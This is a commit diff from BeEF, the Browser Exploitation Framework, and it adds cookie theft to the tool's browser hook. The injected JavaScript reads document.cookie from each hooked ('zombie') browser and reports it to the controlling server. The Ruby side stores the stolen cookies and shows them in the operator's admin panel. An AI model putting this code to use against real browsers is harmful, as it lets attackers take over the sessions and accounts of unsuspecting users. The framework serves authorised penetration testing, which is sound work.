Added get cookies to on-initialize.
git-svn-id: https://beef.googlecode.com/svn/trunk@1162 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -530,6 +530,7 @@ beef.browser = {
|
||||
var browser_name = beef.browser.getBrowserName();
|
||||
var browser_version = beef.browser.getBrowserVersion();
|
||||
var browser_reported_name = beef.browser.getBrowserReportedName();
|
||||
var cookies = document.cookie;
|
||||
var page_title = document.title;
|
||||
var hostname = document.location.hostname;
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
@@ -549,6 +550,7 @@ beef.browser = {
|
||||
if(browser_name) details["BrowserName"] = browser_name;
|
||||
if(browser_version) details["BrowserVersion"] = browser_version;
|
||||
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
|
||||
if(cookies) details["Cookies"] = cookies;
|
||||
if(page_title) details["PageTitle"] = page_title;
|
||||
if(hostname) details["HostName"] = hostname;
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
|
||||
@@ -148,6 +148,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
summary_grid_hash['results'].push(browser_uastring_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the list of cookies
|
||||
cookies = BD.get(zombie_session, 'Cookies')
|
||||
if not cookies.nil? and not cookies.empty?
|
||||
encoded_cookies = CGI.escapeHTML(cookies)
|
||||
encoded_cookies_hash = { 'Cookies' => encoded_cookies }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_cookies_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the list of plugins installed in the browser
|
||||
browser_plugins = BD.get(zombie_session, 'BrowserPlugins')
|
||||
if not browser_plugins.nil? and not browser_plugins.empty?
|
||||
|
||||
@@ -75,6 +75,10 @@ module Initialization
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser browser string" if not BeEF::Filters.is_valid_browserstring?(browser_string)
|
||||
BD.set(session_id, 'BrowserReportedName', browser_string)
|
||||
|
||||
# get and store the cookies
|
||||
cookies = get_param(@data['results'], 'Cookies')
|
||||
BD.set(session_id, 'Cookies', cookies)
|
||||
|
||||
# get and store the os name
|
||||
os_name = get_param(@data['results'], 'OsName')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser os name" if not BeEF::Filters.is_valid_osname?(os_name)
|
||||
|
||||
Reference in New Issue
Block a user